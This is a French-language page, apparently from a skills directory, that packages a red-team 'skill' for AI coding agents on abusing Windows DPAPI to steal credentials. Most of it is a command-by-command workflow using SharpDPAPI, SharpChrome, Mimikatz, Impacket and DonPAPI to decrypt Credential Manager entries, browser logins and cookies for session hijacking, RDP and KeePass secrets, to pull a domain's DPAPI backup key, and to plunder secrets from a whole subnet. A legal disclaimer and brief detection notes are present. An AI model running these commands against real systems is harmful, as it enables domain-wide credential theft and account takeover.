Communitygithub.com

Abus de DPAPI pour l'accès aux identifiants

Extrayez et déchiffrez les secrets protégés par DPAPI de Windows (Credential Manager, identifiants/cookies de navigateur, mots de passe Wi-Fi, clés KeePass) en ligne ou hors ligne à l'aide de SharpDPAPI, SharpChrome, Mimikatz ou Impacket.

Qu'est-ce que Abus de DPAPI pour l'accès aux identifiants ?

Cette compétence décrit les techniques d'abus de l'API de protection des données Windows (DPAPI) pour récupérer des secrets en clair lors de tests d'intrusion ou d'engagements Red Team. DPAPI est utilisé par le système d'exploitation pour chiffrer de nombreux types de secrets utilisateur : identifiants RDP et Credential Manager, mots de passe de navigateur (Chrome/Edge), cookies, clés KeePass, mots de passe de tâches planifiées, etc. La compétence couvre trois voies principales de déchiffrement : en ligne (via l'API CryptUnprotectData en tant qu'utilisateur cible), hors ligne avec le mot de passe ou le hash NTLM de l'utilisateur, et à l'échelle du domaine avec la clé de sauvegarde DPAPI (récupérable par un administrateur de domaine). Les outils principaux sont SharpDPAPI (GhostPack, en C#), SharpChrome pour les secrets de navigateur Chromium, Mimikatz (dpapi::*) et Impacket (dpapi.py) pour le triage à distance depuis Linux. Cette compétence correspond aux techniques MITRE ATT&CK T1555.004 (Credential Manager) et T1555.003 (identifiants de navigateur).

Compatible avec~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/abusing-dpapi-for-credential-access

Demander à votre IA préférée

Ouvre une nouvelle conversation avec cette compétence d'agent déjà préchargée.

Documentation

Que fait Abus de DPAPI pour l'accès aux identifiants ?

Avis légal : Cette compétence est destinée uniquement aux tests d'intrusion autorisés, aux engagements Red Team et à des fins éducatives. L'extraction d'identifiants à partir de systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite est illégale et peut violer les lois sur la fraude informatique et les abus. Opérez toujours dans le cadre d'une charte d'engagement signée et documentez chaque action.

Présentation

L'API de protection des données Windows (DPAPI) est le service de chiffrement symétrique intégré du système d'exploitation, utilisé par les applications pour protéger les secrets au repos : identifiants RDP et Credential Manager enregistrés, identifiants Web et Wi-Fi dans le coffre-fort d'identifiants, identifiants et cookies enregistrés du navigateur (Chrome/Edge), clés KeePass, clés privées de certificats et mots de passe de tâches planifiées. DPAPI dérive une clé maîtresse par utilisateur (ou par machine) du mot de passe de l'utilisateur (ou du secret du compte machine), et cette clé maîtresse chiffre des « blobs DPAPI » individuels. Les clés maîtresses chiffrées se trouvent sous %APPDATA%\Microsoft\Protect\<SID>\ (utilisateur) et %WINDIR%\System32\Microsoft\Protect\ (machine).

Les Red Teamers abusent de DPAPI pour récupérer les secrets en clair après avoir obtenu un point d'appui, correspondant à la technique MITRE ATT&CK T1555.004 (Identifiants depuis les magasins de mots de passe : Windows Credential Manager). Il existe trois voies de déchiffrement principales :

  1. En ligne / basé sur le contexte — en tant qu'utilisateur cible, les API DPAPI (CryptUnprotectData) déchiffrent de manière transparente les blobs de l'utilisateur. L'indicateur /unprotect de SharpDPAPI utilise cette méthode.
  2. Hors ligne avec le mot de passe ou le hash NTLM — déchiffrer les clés maîtresses de l'utilisateur avec /password: ou /ntlm:, puis déchiffrer les blobs hors ligne (idéal pour les fichiers triés extraits d'un hôte).
  3. À l'échelle du domaine avec la clé de sauvegarde DPAPI — les administrateurs de domaine peuvent extraire la clé de sauvegarde DPAPI RSA du domaine (.pvk) une fois, puis déchiffrer toutes les clés maîtresses de tous les utilisateurs du domaine, en ligne ou hors ligne, avec /pvk:.

Les outils canoniques sont SharpDPAPI (GhostPack, un port C# des fonctionnalités DPAPI de Mimikatz) pour Windows, SharpChrome pour les secrets de navigateur, et Mimikatz (dpapi::*) en tant qu'implémentation originale. Sous Linux, dpapi.py d'Impacket et donpapi effectuent un triage à distance/hors ligne.

Quand l'utiliser

  • Après avoir compromis un hôte Windows où l'utilisateur a enregistré des identifiants RDP, de navigateur ou de coffre-fort valant la peine d'être récoltés pour un mouvement latéral.
  • Lorsque vous détenez le mot de passe ou le hash NTLM d'un utilisateur et souhaitez déchiffrer ses secrets protégés par DPAPI hors ligne.
  • Lorsque vous êtes administrateur de domaine et souhaitez obtenir la clé de sauvegarde DPAPI du domaine pour déchiffrer les données protégées de n'importe quel utilisateur sur l'ensemble du parc.
  • Lors du triage de répertoires Credentials, Vault ou Protect exfiltrés à partir d'images disque.
  • Lors d'exercices d'équipe violette pour valider la détection de l'accès aux clés maîtresses DPAPI et aux lectures LSASS/dossier Protect.

Prérequis

  • Un point d'appui autorisé (session interactive, beacon ou admin à distance) sur l'hôte Windows cible.
  • Connaissance du SID de l'utilisateur cible, et soit : la session de l'utilisateur, son mot de passe, son hash NTLM, ou des droits d'administrateur de domaine pour la clé de sauvegarde.
  • Outillage (compiler à partir des sources ou utiliser des binaires de versions ; obtenir uniquement à partir des sources officielles) :
# SharpDPAPI / SharpChrome (GhostPack) — compiler avec Visual Studio / msbuild
git clone https://github.com/GhostPack/SharpDPAPI.git
# Ouvrir SharpDPAPI.sln et compiler en Release, ou :
msbuild SharpDPAPI.sln /p:Configuration=Release

# Mimikatz (implémentation DPAPI originale)
# https://github.com/gentilkiwi/mimikatz/releases

# Triage à distance/hors ligne Linux (Impacket)
pipx install impacket            # fournit dpapi.py / impacket-dpapi
pipx install donpapi             # https://github.com/login-securite/DonPAPI

Objectifs

  • Trier un hôte à la recherche de blobs d'identifiants, de coffre-fort, RDP et de certificats protégés par DPAPI.
  • Déchiffrer les clés maîtresses utilisateur en ligne (/unprotect), avec un mot de passe/hash, ou avec la clé de sauvegarde du domaine.
  • Récupérer les secrets en clair de Credential Manager et du coffre-fort.
  • Extraire les identifiants et cookies enregistrés du navigateur avec SharpChrome.
  • Obtenir et réutiliser la clé de sauvegarde DPAPI du domaine pour un déchiffrement à l'échelle du parc.

Cartographie MITRE ATT&CK

ID de techniqueNomTactiquePertinence
T1555.004Identifiants depuis les magasins de mots de passe : Windows Credential ManagerAccès aux identifiantsDPAPI protège les entrées de Credential Manager / du coffre-fort ; déchiffrer les clés maîtresses et les blobs récupère ces identifiants stockés.
T1555.003Identifiants depuis les magasins de mots de passe : Identifiants depuis les navigateurs WebAccès aux identifiantsSharpChrome déchiffre les identifiants, cookies et clés d'état Chrome/Edge protégés par DPAPI.
T1003Vidage des identifiants du système d'exploitationAccès aux identifiantsL'extraction des clés maîtresses / clés de sauvegarde est une forme de vidage de matériel d'identification.

Workflow

1. Trier l'hôte pour les blobs DPAPI

Exécutez la commande triage de SharpDPAPI dans le contexte de l'utilisateur pour énumérer et (si possible) déchiffrer automatiquement les identifiants, coffres-forts, RDG/RDP et certificats :

# Triage en ligne dans le contexte de l'utilisateur actuel (utilise CryptUnprotectData)
SharpDPAPI.exe triage /unprotect

# Triage machine (nécessite admin local / SYSTEM) pour les blobs au niveau machine
SharpDPAPI.exe machinetriage

2. Déchiffrer les clés maîtresses utilisateur hors ligne (mot de passe ou hash NTLM)

Si vous détenez le mot de passe ou le hash de l'utilisateur, déchiffrez ses clés maîtresses pour obtenir un mappage {GUID}:SHA1 réutilisable contre des blobs individuels :

# Déchiffrer toutes les clés maîtresses de l'utilisateur actuel/spécifié avec le mot de passe
SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple

# Déchiffrer les clés maîtresses avec le hash NTLM de l'utilisateur au lieu du mot de passe
SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a

# La sortie est des lignes GUID:SHA1 — les fournir aux commandes credentials/vaults

3. Récupérer les secrets de Credential Manager et du coffre-fort

Utilisez le mappage de clé maîtresse déchiffrée (ou /pvk:) pour déchiffrer les identifiants stockés et les entrées du coffre-fort :

# Déchiffrer les blobs de Credential Manager avec un mappage GUID:SHA1
SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1

# Ou pointer vers un dossier Credentials cible et déchiffrer avec la clé de sauvegarde du domaine
SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk

# Déchiffrer les entrées du Credential Vault
SharpDPAPI.exe vaults /pvk:backupkey.pvk

4. Déchiffrer les secrets RDP, KeePass et certificats

# Mots de passe RDP RDCMan.settings enregistrés (contexte utilisateur actuel)
SharpDPAPI.exe rdg /unprotect

# Clés maîtresses KeePass protégées par DPAPI
SharpDPAPI.exe keepass /unprotect

# Clés privées de certificats (exporter un .pem utilisable avec /showall pour tous les magasins)
SharpDPAPI.exe certificates /unprotect /showall

5. Extraire les identifiants de navigateur avec SharpChrome

SharpChrome déchiffre les identifiants et cookies Chrome/Edge. Le Chromium moderne utilise une « clé d'état » liée à l'application que SharpChrome résout via DPAPI :

# Déchiffrer les identifiants enregistrés pour l'utilisateur actuel
SharpChrome.exe logins /unprotect

# Déchiffrer les cookies (utile pour le détournement de session) dans un dossier cible
SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk

# Résoudre explicitement la clé d'état AES
SharpChrome.exe statekeys /unprotect

6. Obtenir la clé de sauvegarde DPAPI du domaine (administrateur de domaine)

Avec les droits d'administrateur de domaine, récupérez la clé privée de sauvegarde DPAPI RSA du domaine une fois. Cette clé déchiffre indéfiniment les clés maîtresses de tous les utilisateurs du domaine :

# Récupérer et sauvegarder la clé de sauvegarde du domaine en tant que .pvk via l'interface RPC MS-BKRP
SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk

Puis déchiffrez les clés maîtresses de n'importe quel utilisateur hors ligne avec celle-ci :

SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\

7. Triage à distance / Linux (Impacket / DonPAPI)

Depuis une machine d'opérateur Linux, récoltez et déchiffrez les secrets DPAPI sur plusieurs hôtes :

# Déchiffrer un fichier de clé maîtresse unique avec Impacket en utilisant la clé de sauvegarde du domaine
impacket-dpapi masterkey -file <fichier_cle_maitresse> -pvk backupkey.pvk

# Déchiffrer un blob d'identifiants avec la clé maîtresse récupérée
impacket-dpapi credential -file <blob_cred> -key 0x<cle_maitresse_dechiffree>

# Pillage DPAPI à distance en masse avec DonPAPI
donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24

Outils et ressources

OutilObjectifLien
SharpDPAPITriage/déchiffrement DPAPI Windows (C#)https://github.com/GhostPack/SharpDPAPI
SharpChromeDéchiffrement des identifiants/cookies/clés d'état Chromiumhttps://github.com/GhostPack/SharpDPAPI
MimikatzImplémentation DPAPI originale (dpapi::*)https://github.com/gentilkiwi/mimikatz
Impacket dpapi.pyDéchiffrement DPAPI à distance/hors ligne (Python)https://github.com/fortra/impacket
DonPAPIPillage DPAPI à distance en massehttps://github.com/login-securite/DonPAPI
HackTricks DPAPIRéférence techniquehttps://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html

Notes de détection et OPSEC

  • L'accès aux clés maîtresses et les lectures de \Microsoft\Protect\ et \Microsoft\Credentials\ sont détectables ; backupkey déclenche un appel RPC MS-BKRP vers le contrôleur de domaine.
  • La voie /unprotect (en ligne) est l'option la plus furtive pour un seul hôte mais ne fonctionne qu'en tant qu'utilisateur actif.
  • Les défenseurs doivent surveiller l'accès aux processus LSASS via Sysmon et les accès anormaux aux dossiers Protect/Credentials (DE.CM-01).

Critères de validation

  • Hôte trié avec SharpDPAPI triage / machinetriage.
  • Clés maîtresses utilisateur déchiffrées via /unprotect, /password:, /ntlm:, ou /pvk:.
  • Secrets de Credential Manager et du coffre-fort récupérés.
  • Secrets RDP / KeePass / certificats extraits le cas échéant.
  • Identifiants/cookies de navigateur déchiffrés avec SharpChrome.
  • Clé de sauvegarde DPAPI du domaine récupérée avec les droits d'administrateur de domaine (si dans le périmètre) et réutilisée hors ligne.
  • Tous les secrets récupérés documentés avec l'hôte/l'utilisateur source et la conformité à la charte d'engagement confirmée.

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

analyzing-docker-container-forensics

Investigate compromised Docker containers by analyzing images, layers,

Skills associés